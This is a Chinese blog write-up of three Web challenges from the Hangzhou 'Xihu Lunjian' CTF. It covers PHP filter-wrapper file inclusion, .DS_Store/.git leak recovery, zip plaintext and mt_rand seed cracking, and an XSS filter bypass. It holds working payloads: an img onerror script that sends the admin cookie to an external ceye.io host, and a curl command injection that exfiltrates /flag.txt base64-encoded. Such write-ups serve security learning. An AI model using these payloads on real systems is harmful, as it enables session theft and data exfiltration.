杭州"西湖论剑"ctf-Web

这场比赛打了个酱油,只解了3题。意识到自己还需更加努力学习,趁着平台再次开放,复现一下Web的三道题

babyt3

题目链接:http://61.164.47.198:10000/

页面直接给出了提示include $_GET['file'],是一个文件包含题目

利用PHP伪协议读取index.php经过base64加密后的源代码:

1
/index.php?file=php://filter/convert.base64-encode/resource=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#index.php
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>

<!--hint: ZGlyLnBocA== -->

源代码又给出了提示hint:ZGlyLnBocA==,base64解密后得到dir.php

继续用伪协议读dir.php的源代码:

1
/index.php?file=php://filter/convert.base64-encode/resource=dir.php
1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

发现读取目录下文件的函数scandir,读取根目录发现flag文件dir.php?dir=/

再次利用伪协议读取flag文件,payload如下:

1
/index.php?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4

解密后获得flag:flag{8dc25fd21c52958f777ce92409e2802a}

猜猜flag是什么

题目链接:http://61.164.47.198:10002

一开始通过GET方式提交参数name,发现页面会返回我们输入的参数name的值,尝试了一下XSS,?name=%253cscript%253e%253c/script%253e,弹出了hint:e10adc3949ba59abbe56e057f20f883e

md5解密是123456,但是一直没懂这个提示的意思,用御剑扫后台也没有扫到什么有用的

比赛结束后,参考别人的WP发现这题就是路径泄露

首先,通过dirsearch工具扫描目录,该工具下载链接:https://github.com/maurosoria/dirsearch

扫描到/.DS_Store

再通过ds_store_exp工具进行还原,该工具下载链接:https://github.com/lijiejie/ds_store_exp

还原结果发现存在目录/e10adc3949ba59abbe56e057f20f883e,即前面发现的提示

访问/e10adc3949ba59abbe56e057f20f883e/.git,发现存在git文件泄露,使用githack工具还原

还原后发现压缩包BackupForMySite.zip,但是被加密,发现里面存在lengzhu.jpg,得知这是一个明文攻击

先将lengzhu.jpg通过2345好压压缩为lengzhu.zip,再与BackupForMySite.zip通过ARCHPR工具进行明文攻击,

进行解密一段时间后,虽然没有得到解压密码,但是得到解压后的压缩包

解压后得到hint内容:

1
2
code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt

看到code想到了首页的code兑换码,于是访问/?code=9faedd5999937171912159d28b219d86

得到一个数字:4795334,看样子不像是flag

hint中还有内容flag saved in flag/seed.txt,但是访问/flag/seed.txt也没有得到flag

但是看到seed就想到了这是一个随机数,需要工具php_mt_seed进行破解,该工具下载链接:https://www.openwall.com/php_mt_seed/,下载解压后进入目录执行`make`得到`php_mt_seed`

解密后的结果逐一尝试

访问/flag/309551.txt得到flag:flag{0730b6193000e9334b12cf7c95fbc736}

breakout

题目链接:http://61.164.47.198:10001

题目一开始为登录页面,但是完全不需要输入任何用户名和密码即可登录,登录后,有三个页面:/main.php为留言页面;/report.php为提交URL页面,提交完成后管理员会访问;/exec.php为命令执行页面,但是只有管理员才可以执行命令

题目思路挺明确的,利用留言页面进行XSS注入,再提交留言页面的URL,窃取到管理员的cookie,最后执行命令获取flag

首先在留言页面进行XSS注入,通过测试后台将script替换成:),所以考虑用img标签的onerror事件,将空格+onerror=替换成了:),绕过方法是将onerror=之间换行,注入内容为:

1
2
<img src=x onerror
=alert(/xss/)>

成功执行弹框,那么接下来只要控制onerror事件内容即可将管理员cookie发送到自己的服务器,payload为:

1
2
<img src=x onerror
="var img = new Image();img.src='http://fw5can.ceye.io/?c='+document.cookie;">

当管理员访问/main.php时,触发onerror事件后就会将自己的cookie值提交到我们的服务器上,我们即可在服务器的日志信息上发现

接下来,需要在/report.php中提交/main.php页面的URL值,但是这里必须同时要提交正确的验证码,验证码的条件为:substr(md5($str), 0, 6) === xxxxxx,即我们提交的验证码经过md5加密后的前六位为指定的随机6位数字,因为每次访问页面,产生的6位数字都不同,所以需要通过脚本进行提交,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re
import hashlib

def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()

s = requests.Session()
url = "http://61.164.47.198:10001/report.php"
headers = {
'Cookie':'PHPSESSID=s3dp9m5qpg6f10138g99bnt1p7; token=1B2M2Y8AsgTpgAmY7PhCfg%3D%3D'
}
r = s.get(url,headers=headers)
code = re.findall(r'=== (.*)<',r.text)[0]
#print("code:",code)

for i in range(1,9999999):
if md5(str(i)).startswith(code):
#print("md5(str(i)) ==",md5(str(i)))
#print("i:",i)
break

data = {
'url':'http://61.164.47.198:10001/main.php',
'code':i
}
r2 = s.post(url,data=data,headers=headers)
r2.encoding = r2.apparent_encoding
print(r2.text)

运行后可以看到页面返回提交成功的信息

接下来,回到自己服务器,查看日志内容:

成功窃取到管理员的cookie值:

1
%20admin=admin_!@@!_admin_admin_hhhhh;

最后,来到命令执行exec.php页面,提交执行的命令,加上管理员的cookie,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /exec.php HTTP/1.1
Host: 61.164.47.198:10001
Content-Length: 78
Cache-Control: max-age=0
Origin: http://61.164.47.198:10001
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://61.164.47.198:10001/exec.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=s3dp9m5qpg6f10138g99bnt1p7; token=1B2M2Y8AsgTpgAmY7PhCfg%3D%3D;admin=admin_!@@!_admin_admin_hhhhh;
Connection: close

command=curl http://fw5can.ceye.io/?$(cat /flag.txt | base64)&exec=1

再次访问日志,经过base64解密后获取flag值:flag{fa51320ae808c70485dd5f30337026d6}

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/04/11/%E6%9D%AD%E5%B7%9E%E2%80%9C%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E2%80%9Dctf-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog